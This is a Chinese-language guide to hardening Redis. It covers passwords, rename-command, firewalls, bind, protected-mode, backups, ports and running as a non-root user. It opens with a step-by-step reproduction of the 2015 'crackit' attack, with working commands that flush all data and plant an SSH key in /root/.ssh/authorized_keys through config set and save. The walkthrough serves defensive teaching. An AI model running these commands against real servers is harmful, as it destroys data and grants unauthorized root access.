安全的Redis1、Redis密码机制1.1、简单的密码机制1.2、运维建议2、伪装危险命令2.1、引入rename-command2.2、没有免费的午餐2.3、最佳实践3、防火墙4、bind4.1、对于bind的错误认识4.2、建议5、定期备份数据6、不使用默认端口7、使用非root用户启动2015年11月全球数万个Redis节点遭受到了攻击所有数据都被清除了只有一个叫crackit的键存在这个键的值很像一个公钥如下所示。127.0.0.1:6379get crackit\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9p HPSqWn8WqsbSxNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlq PgzrzYflP/cnYzEegKlcXHJ2AlRkukNPhMrEkZVyxoJNLYMB2kxVZ838z4U0ZamlPEgzyzAoF 0JLTU5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt/Tvrv/DtWbo3sduL6q/2Dj3VD0xGD l1kTNAzdjjOA1Jg1SH53Va34KqIAh2n0Ic3y71eXVWouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q rootzw_xx_192\n\n\n\n数据丢失对于很多Redis的开发者来说是致命的经过相关机构的调查发现被攻击的Redis有如下特点Redis所在的机器有外网IP。Redis以默认端口6379为启动端口并且是对外网开放的。Redis是以root用户启动的。Redis没有设置密码。Redis的bind设置为0.0.0.0或者。攻击者充分利用Redis的dir和dbfilename两个配置可以使用config set动态设置以及RDB持久化的特性将自己的公钥写入到目标机器的/root/.ssh/authotrized_keys文件中从而实现了对目标机器的攻陷。攻击过程如图所示。机器A是攻击者的机器内网IP10.10.xx.192​机器B是被攻击者机器外网IP123.16.xx.182​上面部署着一个满足上述五个特性的Redis下面我们来模拟整个攻击过程。1)首先确认当前攻击前机器A不能通过SSH访问机器B因为没有权限#ssh root123.16.xx.182root123.16.xx.182s password:2)由于机器B的外网对外开通了Redis的6379端口所以可以直接连接到Redis上执行flushall操作注意此时破坏性就已经很大了如下所示#redis-cli -h 123.16.xx.182 -p 6379 pingPONG#redis-cli -h 123.16.xx.182 -p 6379 flushallOK3)在机器A生成公钥并将公钥保存到一个文件my.pub中# cd /root# ssh-keygen -t rsa# (echo -e \n\n; cat /root/.ssh/id_rsa.pub; echo -e \n\n) my.pub# cat my.pubssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHPSqWn 8WqsbSxNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlqPgzrzY flP/cnYzEegKlcXHJ2AlRkukNPhMrEkZVyxoJNLYMB2kxVZ838z4U0ZamlPEgzyzAoF0JLTU 5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt/Tvrv/DtWbo3sduL6q/2Dj3VD0xGDl1kTNAzdj jOA1Jg1SH53Va34KqIAh2n0Ic3y71eXVWouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Qrootzw_xx_1924)将键crackit的值设置为公钥。catmy.pub|redis-cli-h123.16.xx.182-p6379-xsetcrackit OK redis-cli-h123.16.xx.182-p6379get crackit\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHP SqWn8WqsbSxNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlqPgz rzYflP/cnYzEegKlcXHJ2AlRkukNPhMrEkZVyxoJNLYMB2kxVZ838z4U0ZamlPEgzyzAoF0J LTU5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt/Tvrv/DtWbo3sduL6q/2Dj3VD0xGDl1 kTNAzdjjOA1Jg1SH53Va34KqIAh2n0Ic3y71eXVWouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q rootzw_94_190\n\n\n\n5)将Redis的dir设置为/root/.ssh目录dbfilename设置为authorized_keys执行save命令生成RDB文件如下所示123.16.xx.182:6379configsetdir/root/.ssh OK123.16.xx.182:6379configsetdbfilename authorized_keys OK123.16.xx.182:6379save OK此时机器B的/root/.ssh/authorized_keys包含了攻击者的公钥之后攻击者就可以“为所欲为”了。6)此时机器A再通过SSH协议访问机器B发现可以顺利登录[zw_94_190 ~]# ssh root123.16.xx.182Last login: Mon Sep1908:42:552016from10.10.xx.192登录后可以观察/root/.ssh/authorized_keys可以发现它就是RDB文件#cat /root/.ssh/authorized_keysREDIS0006tcrackitA ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHPSqWn 8WqsbSxNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlqPgzrzY flP/cnYzEegKlcXHJ2AlRkukNPhMrEkZVyxoJNLYMB2kxVZ838z4U0ZamlPEgzyzAoF0JLTU5 fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt/Tvrv/DtWbo3sduL6q/2Dj3VD0xGDl1kTNA zdjjOA1Jg1SH53Va34KqIAh2n0Ic3y71eXVWouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Qroot zw_xx_192谁也不想自己的Redis以及机器就这样被攻击吧本节我们来将介绍如何让Redis足够安全。Redis的设计目标是一个在内网运行的轻量级高性能键值服务因为是在内网运行所以对于安全方面没有做太多的工作Redis只提供了简单的密码机制并且没有做用户权限的相关划分。那么在日常对于Redis的开发和运维中要注意哪些方面才能让Redis服务不仅能提供高效稳定的服务还能保证在一个足够安全的网络环境下运行呢下面将从7个方面进行介绍。1、Redis密码机制1.1、简单的密码机制Redis提供了requirepass配置为Redis提供密码功能如果添加这个配置客户端就不能通过redis-cli–h{ip}–p{port}来执行命令。例如下面启动一个密码为hello_redis_devops的Redisredis-server--requirepasshello_redis_devops此时通过redis-cli执行命令会收到没有权限的提示# redis-cli127.0.0.1:6379ping(error)NOAUTH Authentication required.Redis提供了两种方式访问配置了密码的Redisredis-cli -a参数。使用redis-cli连接Redis时添加-a加密码的参数如果密码正确就可以正常访问Redis了具体操作如下# redis-cli –h 127.0.0.1 –p 6379 –a hello_redis_devops127.0.0.1:6379pingPONGauth命令。通过redis-cli连接后执行auth加密码命令如果密码正确就可以正常访问访问Redis了具体操作如下# redis-cli127.0.0.1:6379auth hello_redis_devops OK127.0.0.1:6379pingPONG1.2、运维建议这种密码机制能在一定程度上保护Redis的安全但是在使用requirepass时候要注意一下几点密码要足够复杂64个字节以上​因为Redis的性能很高如果密码比较简单完全是可以在一段时间内通过暴力破解来破译密码。如果是主从结构的Redis不要忘记在从节点的配置中加入masterauthmaster的密码配置否则会造成主从节点同步失效。auth是通过明文进行传输的所以也不是100%可靠如果被攻击者劫持也相当危险。2、伪装危险命令2.1、引入rename-commandRedis中包含了很多“危险”的命令一旦错误使用或者误操作后果不堪设想例如如下命令keys如果键值较多存在阻塞Redis的可能性。flushall/flushdb数据全部被清除。save如果键值较多存在阻塞Redis的可能性。debug例如debug reload会重启Redis。configconfig应该交给管理员使用。shutdown停止Redis。理论上这些命令不应该给普通开发人员使用那有没有什么好的方法能够防止这些危险的命令被随意执行呢Redis提供了rename-command配置解决这个问题。下面直接用一个例子说明rename-command的作用。例如当前Redis包含10000个键值对现使用flushall将全部数据清除127.0.0.1:6379flushall OK例如Redis添加如下配置rename-command flushall jlikfjalijl3i4jl3jql34j那么再执行flushall命令的话会收到Redis不认识flushall的错误提示说明我们成功地用rename-command对flushall命令做了伪装127.0.0.1:6379flushall(error)ERR unknowncommand‘flushall’而如果执行jlikfjalijl3i4jl3jql34随机字符串​那么就可以实现flushall的功能了这就是rename-command的作用管理员可以对认为比较危险的命令做rename-command处理127.0.0.1:6379jlikfjalijl3i4jl3jql34j OK2.2、没有免费的午餐rename-command虽然对Redis的安全有一定帮助但是天下并没有免费的午餐。使用了rename-command时可能会带来如下麻烦管理员要对自己的客户端进行修改例如jedis.flushall()操作内部使用的是flushall命令如果用rename-command后需要修改为新的命令有一定的开发和维护成本。rename-command配置不支持config set所以在启动前一定要确定哪些命令需要使用rename-command。如果AOF和RDB文件包含了rename-command之前的命令Redis将无法启动因为此时它识别不了rename-command之前的命令。Redis源码中有一些命令是写死的rename-command可能造成Redis无法正常工作。例如Sentinel节点在修改配置时直接使用了config命令如果对config使用rename-command会造成Redis Sentinel无法正常工作。2.3、最佳实践在使用rename-command的相关配置时需要注意以下几点对于一些危险的命令例如flushall​不管是内网还是外网一律使用rename-command配置建议第一次配置Redis时就应该配置rename-command因为rename-command不支持config set。如果涉及主从关系一定要保持主从节点配置的一致性否则存在主从数据不一致的可能性。3、防火墙可以使用防火墙限制输入和输出的IP或者IP范围、端口或者端口范围在比较成熟的公司都会对有外网IP的服务器做一些端口的限制例如只允许80端口对外开放。因为一般来说开放外网IP的服务器中Web服务器比较多但通常存储服务器的端口无需对外开放防火墙是一个限制外网访问Redis的必杀技。4、bind4.1、对于bind的错误认识很多开发者在一开始看到bind的这个配置时都是这么认为的指定Redis只接收来自于某个网段IP的客户端请求。但事实上bind指定的是Redis和哪个网卡进行绑定和客户端是什么网段没有关系。例如使用ifconfig命令获取当前网卡信息如下eth0 Link encap:Ethernet Hwaddr90:B1:1C:0B:18:02 inet addr:10.10.xx.192 Bcast:10.10.xx.255 Mask:255.255.255.0 … eth1 Link encap:Ethernet Hwaddr90:B1:1C:0B:18:03 inet addr:220.181.xx.123 Bcast:220.181.xx.255 Mask:255.255.255.0 … lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 …包含了三个IP地址内网地址10.10.xx.192外网地址220.181.xx.123回环地址127.0.0.1如果当前Redis配置了bind10.10.xx.192那么Redis访问只能通过10.10.xx.192这块网卡进入通过redis-cli–h220.181.xx.123–p6379和本机redis-cli–h127.0.0.1–p6379都无法连接到Redis。会收到如下操作提示# redis-cli –h 220.181.xx.123 –p 6379Could not connect to Redis at220.181.xx.123:6379: Connection refused只能通过10.10.xx.192作为redis-cli的参数# redis-cli –h 10.10.xx.19210.10.xx.192:6379pingPONGbind参数可以设置多个例如下面的配置表示当前Redis只接受来自10.10.xx.192和127.0.0.1的网络流量bind10.10.xx.192127.0.0.1Redis3.0中bind默认值为”​”​也就是不限制网卡的访问但是在Redis3.2中必须显示的配置bind0.0.0.0才可以达到这种效果。4.2、建议经过上面的实验以及对于bind的认识可以得出如下结论如果机器有外网IP但部署的Redis是给内部使用的建议去掉外网网卡或者使用bind配置限制流量从外网进入。如果客户端和Redis部署在一台服务器上可以使用回环地址(127.0.0.1)。bind配置不支持config set所以尽可能在第一次启动前配置好。Redis3.2提供了protected-mode配置默认开启​它的含义可以用如下伪代码解释。if(protected-mode!requirepass!bind){Allow only127.0.0.1,::1 or socket connections Deny(with the long message ever!)others}如果当前Redis没有配置密码没有配置bind那么只允许来自本机的访问也就是相当于配置了bind127.0.0.1。5、定期备份数据天有不测风云假如有一天Redis真的被攻击了清理了数据关闭了进程​那么定期备份的数据能够在一定程度挽回一些损失定期备份持久化数据是一个比较好的习惯。6、不使用默认端口Redis的默认端口是6379不使用默认端口从一定程度上可降低被入侵者发现的可能性因为入侵者通常本身也是一些攻击程序对目标服务器进行端口扫描例如MySQL的默认端口3306、Memcache的默认端口11211、Jetty的默认端口8080等都会被设置成攻击目标Redis作为一款较为知名的NoSQL服务6379必然也在端口扫描的列表中虽然不设置默认端口还是有可能被攻击者入侵但是能够在一定程度上降低被攻击的概率。7、使用非root用户启动root用户作为管理员权限非常大。如果被入侵者获取root权限后就可以在这台机器以及相关机器上“为所欲为”了。笔者建议在启动Redis服务的时候使用非root用户启动。事实上许多服务例如Resin、Jetty、HBase、Hadoop都建议使用非root启动。